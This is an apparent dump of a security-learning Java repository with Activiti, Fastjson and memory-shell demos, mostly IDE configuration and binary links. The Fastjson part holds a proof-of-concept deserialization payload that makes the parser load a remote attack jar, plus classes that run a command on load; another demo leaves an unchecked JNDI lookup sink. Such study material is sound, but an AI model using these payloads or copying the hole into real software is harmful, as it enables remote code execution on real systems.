/.idea/libraries/Maven__org_springframework_spring_jcl_5_3_13.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /.idea/libraries/Maven__org_springframework_spring_jdbc_5_3_13.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /.idea/libraries/Maven__org_springframework_spring_orm_5_3_13.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /.idea/libraries/Maven__org_springframework_spring_tx_5_3_13.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /.idea/libraries/Maven__org_springframework_spring_web_5_3_13.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /.idea/libraries/Maven__org_springframework_spring_webmvc_5_3_13.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /.idea/libraries/Maven__org_testng_testng_7_5.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /.idea/libraries/Maven__org_webjars_bower_js_beautify_1_9_0.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /.idea/libraries/Maven__org_webjars_jquery_3_5_1.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /.idea/libraries/Maven__org_yaml_snakeyaml_1_29.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /.idea/libraries/lib.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | -------------------------------------------------------------------------------- /.idea/misc.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 18 | 19 | 20 | 21 | 22 | -------------------------------------------------------------------------------- /.idea/vcs.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /ActivitiDemo/ActivitiScriptDemo/.idea/compiler.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 17 | 18 | -------------------------------------------------------------------------------- /ActivitiDemo/ActivitiScriptDemo/.idea/encodings.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /ActivitiDemo/ActivitiScriptDemo/.idea/jarRepositories.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 9 | 10 | 14 | 15 | 19 | 20 | -------------------------------------------------------------------------------- /ActivitiDemo/ActivitiScriptDemo/.idea/misc.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 10 | 11 | 12 | -------------------------------------------------------------------------------- /ActivitiDemo/ActivitiScriptDemo/.idea/shelf/Uncommitted_changes_before_Checkout_at_2022_5_11_20_07_[Changes]/Applicant.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wangsz05/LearnDemo/bc959343f0fe0f473b7054553244b0e71581f8db/ActivitiDemo/ActivitiScriptDemo/.idea/shelf/Uncommitted_changes_before_Checkout_at_2022_5_11_20_07_[Changes]/Applicant.class -------------------------------------------------------------------------------- /ActivitiDemo/ActivitiScriptDemo/.idea/shelf/Uncommitted_changes_before_Checkout_at_2022_5_11_20_07_[Changes]/ApplicantRepository.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wangsz05/LearnDemo/bc959343f0fe0f473b7054553244b0e71581f8db/ActivitiDemo/ActivitiScriptDemo/.idea/shelf/Uncommitted_changes_before_Checkout_at_2022_5_11_20_07_[Changes]/ApplicantRepository.class -------------------------------------------------------------------------------- /ActivitiDemo/ActivitiScriptDemo/.idea/shelf/Uncommitted_changes_before_Checkout_at_2022_5_11_20_07_[Changes]/HireProcessRestController.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wangsz05/LearnDemo/bc959343f0fe0f473b7054553244b0e71581f8db/ActivitiDemo/ActivitiScriptDemo/.idea/shelf/Uncommitted_changes_before_Checkout_at_2022_5_11_20_07_[Changes]/HireProcessRestController.class -------------------------------------------------------------------------------- /ActivitiDemo/ActivitiScriptDemo/.idea/shelf/Uncommitted_changes_before_Checkout_at_2022_5_11_20_07_[Changes]/LookUpTest.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wangsz05/LearnDemo/bc959343f0fe0f473b7054553244b0e71581f8db/ActivitiDemo/ActivitiScriptDemo/.idea/shelf/Uncommitted_changes_before_Checkout_at_2022_5_11_20_07_[Changes]/LookUpTest.class -------------------------------------------------------------------------------- /ActivitiDemo/ActivitiScriptDemo/.idea/shelf/Uncommitted_changes_before_Checkout_at_2022_5_11_20_07_[Changes]/MyApp.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wangsz05/LearnDemo/bc959343f0fe0f473b7054553244b0e71581f8db/ActivitiDemo/ActivitiScriptDemo/.idea/shelf/Uncommitted_changes_before_Checkout_at_2022_5_11_20_07_[Changes]/MyApp.class -------------------------------------------------------------------------------- /ActivitiDemo/ActivitiScriptDemo/.idea/shelf/Uncommitted_changes_before_Checkout_at_2022_5_11_20_07_[Changes]/ResumeService.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wangsz05/LearnDemo/bc959343f0fe0f473b7054553244b0e71581f8db/ActivitiDemo/ActivitiScriptDemo/.idea/shelf/Uncommitted_changes_before_Checkout_at_2022_5_11_20_07_[Changes]/ResumeService.class -------------------------------------------------------------------------------- /ActivitiDemo/ActivitiScriptDemo/.idea/shelf/Uncommitted_changes_before_Checkout_at_2022_5_11_20_07_[Changes]/WebSecurityConfig.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wangsz05/LearnDemo/bc959343f0fe0f473b7054553244b0e71581f8db/ActivitiDemo/ActivitiScriptDemo/.idea/shelf/Uncommitted_changes_before_Checkout_at_2022_5_11_20_07_[Changes]/WebSecurityConfig.class -------------------------------------------------------------------------------- /ActivitiDemo/ActivitiScriptDemo/.idea/vcs.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /ActivitiDemo/ActivitiScriptDemo/src/main/java/org/activiti/ApplicantRepository.java: -------------------------------------------------------------------------------- 1 | package org.activiti; 2 | 3 | import org.springframework.data.jpa.repository.JpaRepository; 4 | 5 | public interface ApplicantRepository extends JpaRepository { 6 | 7 | } -------------------------------------------------------------------------------- /ActivitiDemo/ActivitiScriptDemo/src/main/java/org/activiti/LookUpTest.java: -------------------------------------------------------------------------------- 1 | package org.activiti; 2 | 3 | import javax.naming.InitialContext; 4 | import javax.naming.NamingException; 5 | 6 | public class LookUpTest { 7 | 8 | public void setLookUpTest(String lookUpTest) throws NamingException { 9 | InitialContext initialContext = new InitialContext(); 10 | initialContext.lookup(lookUpTest); 11 | } 12 | } 13 | -------------------------------------------------------------------------------- /ActivitiDemo/ActivitiScriptDemo/src/main/java/org/activiti/ResumeService.java: -------------------------------------------------------------------------------- 1 | package org.activiti; 2 | 3 | import org.springframework.stereotype.Component; 4 | 5 | @Component 6 | public class ResumeService { 7 | 8 | public void storeResume() { 9 | System.out.println("Storing resume ..."); 10 | } 11 | 12 | } 13 | -------------------------------------------------------------------------------- /ActivitiDemo/ActivitiScriptDemo/src/main/java/org/activiti/WebSecurityConfig.java: -------------------------------------------------------------------------------- 1 | package org.activiti; 2 | 3 | import org.springframework.security.config.annotation.method.configuration.EnableGlobalMethodSecurity; 4 | import org.springframework.security.config.annotation.web.builders.HttpSecurity; 5 | import org.springframework.security.config.annotation.web.configuration.EnableWebSecurity; 6 | import org.springframework.security.config.annotation.web.configuration.WebSecurityConfigurerAdapter; 7 | 8 | @EnableGlobalMethodSecurity(prePostEnabled = true) 9 | @EnableWebSecurity 10 | public class WebSecurityConfig extends WebSecurityConfigurerAdapter { 11 | @Override 12 | protected void configure(HttpSecurity http) throws Exception { 13 | http.csrf().disable().anonymous(); 14 | } 15 | 16 | } 17 | -------------------------------------------------------------------------------- /ActivitiDemo/ActivitiScriptDemo/src/main/resources/application.yml: -------------------------------------------------------------------------------- 1 | server: 2 | port: 8089 3 | 4 | spring: 5 | main: 6 | allow-bean-definition-overriding : true 7 | jpa: 8 | show-sql: true -------------------------------------------------------------------------------- /ActivitiDemo/ActivitiScriptDemo/target/classes/application.yml: -------------------------------------------------------------------------------- 1 | server: 2 | port: 8089 3 | 4 | spring: 5 | main: 6 | allow-bean-definition-overriding : true 7 | jpa: 8 | show-sql: true -------------------------------------------------------------------------------- /ActivitiDemo/ActivitiScriptDemo/target/classes/org/activiti/Applicant.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wangsz05/LearnDemo/bc959343f0fe0f473b7054553244b0e71581f8db/ActivitiDemo/ActivitiScriptDemo/target/classes/org/activiti/Applicant.class -------------------------------------------------------------------------------- /ActivitiDemo/ActivitiScriptDemo/target/classes/org/activiti/ApplicantRepository.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wangsz05/LearnDemo/bc959343f0fe0f473b7054553244b0e71581f8db/ActivitiDemo/ActivitiScriptDemo/target/classes/org/activiti/ApplicantRepository.class -------------------------------------------------------------------------------- /ActivitiDemo/ActivitiScriptDemo/target/classes/org/activiti/HireProcessRestController.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wangsz05/LearnDemo/bc959343f0fe0f473b7054553244b0e71581f8db/ActivitiDemo/ActivitiScriptDemo/target/classes/org/activiti/HireProcessRestController.class -------------------------------------------------------------------------------- /ActivitiDemo/ActivitiScriptDemo/target/classes/org/activiti/LookUpTest.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wangsz05/LearnDemo/bc959343f0fe0f473b7054553244b0e71581f8db/ActivitiDemo/ActivitiScriptDemo/target/classes/org/activiti/LookUpTest.class -------------------------------------------------------------------------------- /ActivitiDemo/ActivitiScriptDemo/target/classes/org/activiti/MyApp.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wangsz05/LearnDemo/bc959343f0fe0f473b7054553244b0e71581f8db/ActivitiDemo/ActivitiScriptDemo/target/classes/org/activiti/MyApp.class -------------------------------------------------------------------------------- /ActivitiDemo/ActivitiScriptDemo/target/classes/org/activiti/ResumeService.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wangsz05/LearnDemo/bc959343f0fe0f473b7054553244b0e71581f8db/ActivitiDemo/ActivitiScriptDemo/target/classes/org/activiti/ResumeService.class -------------------------------------------------------------------------------- /ActivitiDemo/ActivitiScriptDemo/target/classes/org/activiti/WebSecurityConfig.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wangsz05/LearnDemo/bc959343f0fe0f473b7054553244b0e71581f8db/ActivitiDemo/ActivitiScriptDemo/target/classes/org/activiti/WebSecurityConfig.class -------------------------------------------------------------------------------- /FastJson/FastjsonVulns-main/.gitignore: -------------------------------------------------------------------------------- 1 | target/ 2 | !.mvn/wrapper/maven-wrapper.jar 3 | !**/src/main/**/target/ 4 | !**/src/test/**/target/ 5 | 6 | ### IntelliJ IDEA ### 7 | .idea/modules.xml 8 | .idea/jarRepositories.xml 9 | .idea/compiler.xml 10 | .idea/libraries/ 11 | *.iws 12 | *.iml 13 | *.ipr 14 | 15 | ### Eclipse ### 16 | .apt_generated 17 | .classpath 18 | .factorypath 19 | .project 20 | .settings 21 | .springBeans 22 | .sts4-cache 23 | 24 | ### NetBeans ### 25 | /nbproject/private/ 26 | /nbbuild/ 27 | /dist/ 28 | /nbdist/ 29 | /.nb-gradle/ 30 | build/ 31 | !**/src/main/**/build/ 32 | !**/src/test/**/build/ 33 | 34 | ### VS Code ### 35 | .vscode/ 36 | 37 | ### Mac OS ### 38 | .DS_Store -------------------------------------------------------------------------------- /FastJson/FastjsonVulns-main/.idea/encodings.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | -------------------------------------------------------------------------------- /FastJson/FastjsonVulns-main/.idea/misc.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 10 | 11 | 12 | 13 | 14 | -------------------------------------------------------------------------------- /FastJson/FastjsonVulns-main/.idea/vcs.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /FastJson/FastjsonVulns-main/README.md: -------------------------------------------------------------------------------- 1 | [Fastjson1.2.80漏洞复现](https://hosch3n.github.io/2022/09/01/Fastjson1-2-80%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/) -------------------------------------------------------------------------------- /FastJson/FastjsonVulns-main/src/main/java/Evil.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wangsz05/LearnDemo/bc959343f0fe0f473b7054553244b0e71581f8db/FastJson/FastjsonVulns-main/src/main/java/Evil.class -------------------------------------------------------------------------------- /FastJson/FastjsonVulns-main/src/main/java/Evil.java: -------------------------------------------------------------------------------- 1 | import java.io.IOException; 2 | import org.codehaus.groovy.ast.ASTNode; 3 | import org.codehaus.groovy.control.SourceUnit; 4 | import org.codehaus.groovy.transform.ASTTransformation; 5 | import org.codehaus.groovy.transform.GroovyASTTransformation; 6 | 7 | @GroovyASTTransformation 8 | public class Evil implements ASTTransformation { 9 | public void visit(ASTNode[] astNodes, SourceUnit sourceUnit) { 10 | } 11 | 12 | static { 13 | try { 14 | Runtime.getRuntime().exec("cmd.exe /C calc.exe"); 15 | } catch (IOException var1) { 16 | throw new RuntimeException(var1); 17 | } 18 | } 19 | } -------------------------------------------------------------------------------- /FastJson/FastjsonVulns-main/src/main/java/Person.java: -------------------------------------------------------------------------------- 1 | public class Person { 2 | 3 | public String getName() { 4 | return name; 5 | } 6 | 7 | public void setName(String name) { 8 | this.name = name; 9 | } 10 | 11 | public String getSex() { 12 | return sex; 13 | } 14 | 15 | public void setSex(String sex) { 16 | this.sex = sex; 17 | } 18 | 19 | String name; 20 | String sex; 21 | 22 | } 23 | -------------------------------------------------------------------------------- /FastJson/FastjsonVulns-main/src/main/java/groovy.java: -------------------------------------------------------------------------------- 1 | import com.alibaba.fastjson.JSON; 2 | 3 | import java.io.IOException; 4 | 5 | public class groovy { 6 | private static String poc1 = "{\n" + 7 | " \"@type\":\"java.lang.Exception\",\n" + 8 | " \"@type\":\"org.codehaus.groovy.control.CompilationFailedException\",\n" + 9 | " \"unit\":{}\n" + 10 | "}"; 11 | 12 | private static String poc2 = "{\n" + 13 | " \"@type\":\"org.codehaus.groovy.control.ProcessingUnit\",\n" + 14 | " \"@type\":\"org.codehaus.groovy.tools.javac.JavaStubCompilationUnit\",\n" + 15 | " \"config\":{\n" + 16 | " \"@type\":\"org.codehaus.groovy.control.CompilerConfiguration\",\n" + 17 | " \"classpathList\":\"http://127.0.0.1:8000/attack.jar\"\n" + 18 | " }\n" + 19 | "}"; 20 | 21 | public static void main(String[] args) throws IOException { 22 | try { 23 | JSON.parseObject(poc1); 24 | } catch (Exception e){} 25 | 26 | JSON.parseObject(poc2); 27 | } 28 | 29 | } 30 | -------------------------------------------------------------------------------- /FastJson/attack/.idea/.gitignore: -------------------------------------------------------------------------------- 1 | # Default ignored files 2 | /shelf/ 3 | /workspace.xml 4 | # Editor-based HTTP Client requests 5 | /httpRequests/ 6 | # Datasource local storage ignored files 7 | /dataSources/ 8 | /dataSources.local.xml 9 | -------------------------------------------------------------------------------- /FastJson/attack/.idea/artifacts/attack_jar.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | $PROJECT_DIR$/out/artifacts/attack_jar 4 | 5 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /FastJson/attack/.idea/compiler.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /FastJson/attack/.idea/jarRepositories.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 9 | 10 | 14 | 15 | 19 | 20 | -------------------------------------------------------------------------------- /FastJson/attack/.idea/misc.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 10 | 11 | 12 | -------------------------------------------------------------------------------- /FastJson/attack/out/artifacts/attack_jar/attack.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wangsz05/LearnDemo/bc959343f0fe0f473b7054553244b0e71581f8db/FastJson/attack/out/artifacts/attack_jar/attack.jar -------------------------------------------------------------------------------- /FastJson/attack/pom.xml: -------------------------------------------------------------------------------- 1 | 2 | 5 | 6 | 7 | 8 | 9 | 10 | 4.0.0 11 | groovy 12 | attack 13 | 1 14 | 15 | 16 | org.codehaus.groovy 17 | groovy-all 18 | 3.0.1 19 | provided 20 | pom 21 | 22 | 23 | 24 | 25 | 8 26 | 8 27 | 28 | 29 | -------------------------------------------------------------------------------- /FastJson/attack/src/main/java/groovy/grape/GrabAnnotationTransformation2.java: -------------------------------------------------------------------------------- 1 | package groovy.grape; 2 | 3 | import org.codehaus.groovy.ast.ASTNode; 4 | import org.codehaus.groovy.control.CompilePhase; 5 | import org.codehaus.groovy.control.SourceUnit; 6 | import org.codehaus.groovy.transform.ASTTransformation; 7 | import org.codehaus.groovy.transform.GroovyASTTransformation; 8 | 9 | import java.io.IOException; 10 | 11 | @GroovyASTTransformation(phase= CompilePhase.CONVERSION) 12 | public class GrabAnnotationTransformation2 implements ASTTransformation { 13 | 14 | public GrabAnnotationTransformation2() { 15 | try { 16 | Runtime.getRuntime().exec("calc.exe"); 17 | } catch (IOException e) { 18 | } 19 | } 20 | 21 | @Override 22 | public void visit(ASTNode[] nodes, SourceUnit source) { 23 | 24 | } 25 | } 26 | -------------------------------------------------------------------------------- /FastJson/attack/src/main/resources/META-INF/services/org.codehaus.groovy.transform.ASTTransformation: -------------------------------------------------------------------------------- 1 | groovy.grape.GrabAnnotationTransformation2 -------------------------------------------------------------------------------- /FastJson/attack/target/attack-1.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wangsz05/LearnDemo/bc959343f0fe0f473b7054553244b0e71581f8db/FastJson/attack/target/attack-1.jar -------------------------------------------------------------------------------- /FastJson/attack/target/classes/META-INF/services/org.codehaus.groovy.transform.ASTTransformation: -------------------------------------------------------------------------------- 1 | groovy.grape.GrabAnnotationTransformation2 -------------------------------------------------------------------------------- /FastJson/attack/target/classes/groovy/grape/GrabAnnotationTransformation2.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wangsz05/LearnDemo/bc959343f0fe0f473b7054553244b0e71581f8db/FastJson/attack/target/classes/groovy/grape/GrabAnnotationTransformation2.class -------------------------------------------------------------------------------- /FastJson/attack/target/maven-archiver/pom.properties: -------------------------------------------------------------------------------- 1 | #Generated by Maven 2 | #Sat Sep 03 18:51:04 CST 2022 3 | groupId=groovy 4 | artifactId=attack 5 | version=1 6 | -------------------------------------------------------------------------------- /FastJson/attack/target/maven-status/maven-compiler-plugin/compile/default-compile/createdFiles.lst: -------------------------------------------------------------------------------- 1 | groovy\grape\GrabAnnotationTransformation2.class 2 | -------------------------------------------------------------------------------- /FastJson/attack/target/maven-status/maven-compiler-plugin/compile/default-compile/inputFiles.lst: -------------------------------------------------------------------------------- 1 | C:\Users\Administrator\Downloads\fastjsonVul-master\fastjsonVul-master\attack\src\main\java\groovy\grape\GrabAnnotationTransformation2.java 2 | -------------------------------------------------------------------------------- /FastJson/rce/attack.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wangsz05/LearnDemo/bc959343f0fe0f473b7054553244b0e71581f8db/FastJson/rce/attack.jar -------------------------------------------------------------------------------- /MemShellDemo/src/main/java/com/my/test/TestFilter.java: -------------------------------------------------------------------------------- 1 | package com.my.test; 2 | 3 | import org.springframework.stereotype.Component; 4 | 5 | import javax.servlet.*; 6 | import javax.servlet.annotation.WebFilter; 7 | import java.io.IOException; 8 | 9 | public class TestFilter implements Filter { 10 | @Override 11 | public void init(FilterConfig filterConfig) throws ServletException { 12 | System.out.println("filter初始化"); 13 | } 14 | 15 | 16 | @Override 17 | public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { 18 | System.out.println("doFilter过滤"); 19 | //放行 20 | chain.doFilter(request,response); 21 | } 22 | 23 | @Override 24 | public void destroy() { 25 | System.out.println("filter销毁"); 26 | 27 | } 28 | } -------------------------------------------------------------------------------- /MemShellDemo/src/main/java/com/my/test/TestFilter1.java: -------------------------------------------------------------------------------- 1 | package com.my.test; 2 | 3 | import javax.servlet.*; 4 | import java.io.IOException; 5 | 6 | public class TestFilter1 implements Filter { 7 | @Override 8 | public void init(FilterConfig filterConfig) throws ServletException { 9 | System.out.println("filter1 the second初始化"); 10 | } 11 | 12 | 13 | @Override 14 | public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { 15 | System.out.println("doFilter过滤"); 16 | //放行 17 | chain.doFilter(request,response); 18 | } 19 | 20 | @Override 21 | public void destroy() { 22 | System.out.println("filter销毁"); 23 | 24 | } 25 | } -------------------------------------------------------------------------------- /MemShellDemo/src/main/java/com/my/test/TestHttpServelet.java: -------------------------------------------------------------------------------- 1 | package com.my.test; 2 | 3 | import javax.servlet.http.HttpServlet; 4 | import javax.servlet.http.HttpServletRequest; 5 | import javax.servlet.http.HttpServletResponse; 6 | 7 | public class TestHttpServelet extends HttpServlet { 8 | @Override 9 | public void doGet(HttpServletRequest req, HttpServletResponse response) 10 | { 11 | 12 | System.out.println("im in do get"); 13 | 14 | } 15 | } 16 | -------------------------------------------------------------------------------- /MemShellDemo/src/main/java/com/my/test/TestListener.java: -------------------------------------------------------------------------------- 1 | package com.my.test; 2 | 3 | import javax.servlet.ServletRequestEvent; 4 | import javax.servlet.ServletRequestListener; 5 | 6 | public class TestListener implements ServletRequestListener { 7 | @Override 8 | public void requestDestroyed(ServletRequestEvent sre) { 9 | System.out.println("执行了TestListener requestDestroyed"); 10 | } 11 | 12 | @Override 13 | public void requestInitialized(ServletRequestEvent sre) { 14 | System.out.println("执行了TestListener requestInitialized"); 15 | } 16 | } -------------------------------------------------------------------------------- /MemShellDemo/src/main/java/com/my/test/testServlet.java: -------------------------------------------------------------------------------- 1 | package com.my.test; 2 | 3 | import javax.servlet.*; 4 | import java.io.IOException; 5 | 6 | public class testServlet implements Servlet { 7 | 8 | @Override 9 | public void init(ServletConfig config) throws ServletException { 10 | System.out.println("in my testServlet init"); 11 | } 12 | 13 | @Override 14 | public ServletConfig getServletConfig() { 15 | return null; 16 | } 17 | 18 | @Override 19 | public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException { 20 | System.out.println("in my testServlet service" ); 21 | res.getWriter().write("in my testServlet service"); 22 | } 23 | 24 | @Override 25 | public String getServletInfo() { 26 | return null; 27 | } 28 | 29 | @Override 30 | public void destroy() { 31 | 32 | } 33 | } 34 | -------------------------------------------------------------------------------- /MemShellDemo/src/main/webapp/index.jsp: -------------------------------------------------------------------------------- 1 | 2 | 3 |

Hello World!

4 | 5 | 6 | -------------------------------------------------------------------------------- /MemShellDemo/target/MemShellDemo/META-INF/MANIFEST.MF: -------------------------------------------------------------------------------- 1 | Manifest-Version: 1.0 2 | Created-By: IntelliJ IDEA 3 | Built-By: Administrator 4 | Build-Jdk: version 1.8.0_321 5 | 6 | -------------------------------------------------------------------------------- /MemShellDemo/target/MemShellDemo/WEB-INF/classes/com/my/test/TestFilter.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wangsz05/LearnDemo/bc959343f0fe0f473b7054553244b0e71581f8db/MemShellDemo/target/MemShellDemo/WEB-INF/classes/com/my/test/TestFilter.class -------------------------------------------------------------------------------- /MemShellDemo/target/MemShellDemo/WEB-INF/classes/com/my/test/TestFilter1.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wangsz05/LearnDemo/bc959343f0fe0f473b7054553244b0e71581f8db/MemShellDemo/target/MemShellDemo/WEB-INF/classes/com/my/test/TestFilter1.class -------------------------------------------------------------------------------- /MemShellDemo/target/MemShellDemo/WEB-INF/classes/com/my/test/TestHttpServelet.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wangsz05/LearnDemo/bc959343f0fe0f473b7054553244b0e71581f8db/MemShellDemo/target/MemShellDemo/WEB-INF/classes/com/my/test/TestHttpServelet.class -------------------------------------------------------------------------------- /MemShellDemo/target/MemShellDemo/WEB-INF/classes/com/my/test/TestListener.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wangsz05/LearnDemo/bc959343f0fe0f473b7054553244b0e71581f8db/MemShellDemo/target/MemShellDemo/WEB-INF/classes/com/my/test/TestListener.class -------------------------------------------------------------------------------- /MemShellDemo/target/MemShellDemo/WEB-INF/classes/com/my/test/testServlet.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wangsz05/LearnDemo/bc959343f0fe0f473b7054553244b0e71581f8db/MemShellDemo/target/MemShellDemo/WEB-INF/classes/com/my/test/testServlet.class -------------------------------------------------------------------------------- /MemShellDemo/target/MemShellDemo/WEB-INF/lib/spring-aop-5.3.13.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wangsz05/LearnDemo/bc959343f0fe0f473b7054553244b0e71581f8db/MemShellDemo/target/MemShellDemo/WEB-INF/lib/spring-aop-5.3.13.jar -------------------------------------------------------------------------------- /MemShellDemo/target/MemShellDemo/WEB-INF/lib/spring-beans-5.3.13.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wangsz05/LearnDemo/bc959343f0fe0f473b7054553244b0e71581f8db/MemShellDemo/target/MemShellDemo/WEB-INF/lib/spring-beans-5.3.13.jar -------------------------------------------------------------------------------- /MemShellDemo/target/MemShellDemo/WEB-INF/lib/spring-context-5.3.13.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wangsz05/LearnDemo/bc959343f0fe0f473b7054553244b0e71581f8db/MemShellDemo/target/MemShellDemo/WEB-INF/lib/spring-context-5.3.13.jar -------------------------------------------------------------------------------- /MemShellDemo/target/MemShellDemo/WEB-INF/lib/spring-core-5.3.13.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wangsz05/LearnDemo/bc959343f0fe0f473b7054553244b0e71581f8db/MemShellDemo/target/MemShellDemo/WEB-INF/lib/spring-core-5.3.13.jar -------------------------------------------------------------------------------- /MemShellDemo/target/MemShellDemo/WEB-INF/lib/spring-expression-5.3.13.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wangsz05/LearnDemo/bc959343f0fe0f473b7054553244b0e71581f8db/MemShellDemo/target/MemShellDemo/WEB-INF/lib/spring-expression-5.3.13.jar -------------------------------------------------------------------------------- /MemShellDemo/target/MemShellDemo/WEB-INF/lib/spring-jcl-5.3.13.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wangsz05/LearnDemo/bc959343f0fe0f473b7054553244b0e71581f8db/MemShellDemo/target/MemShellDemo/WEB-INF/lib/spring-jcl-5.3.13.jar -------------------------------------------------------------------------------- /MemShellDemo/target/MemShellDemo/WEB-INF/lib/spring-web-5.3.13.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wangsz05/LearnDemo/bc959343f0fe0f473b7054553244b0e71581f8db/MemShellDemo/target/MemShellDemo/WEB-INF/lib/spring-web-5.3.13.jar -------------------------------------------------------------------------------- /MemShellDemo/target/MemShellDemo/WEB-INF/lib/spring-webmvc-5.3.13.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wangsz05/LearnDemo/bc959343f0fe0f473b7054553244b0e71581f8db/MemShellDemo/target/MemShellDemo/WEB-INF/lib/spring-webmvc-5.3.13.jar -------------------------------------------------------------------------------- /MemShellDemo/target/MemShellDemo/WEB-INF/lib/tomcat-annotations-api-9.0.55.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wangsz05/LearnDemo/bc959343f0fe0f473b7054553244b0e71581f8db/MemShellDemo/target/MemShellDemo/WEB-INF/lib/tomcat-annotations-api-9.0.55.jar -------------------------------------------------------------------------------- /MemShellDemo/target/MemShellDemo/WEB-INF/lib/tomcat-embed-core-9.0.55.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wangsz05/LearnDemo/bc959343f0fe0f473b7054553244b0e71581f8db/MemShellDemo/target/MemShellDemo/WEB-INF/lib/tomcat-embed-core-9.0.55.jar -------------------------------------------------------------------------------- /MemShellDemo/target/MemShellDemo/index.jsp: -------------------------------------------------------------------------------- 1 | 2 | 3 |

Hello World!

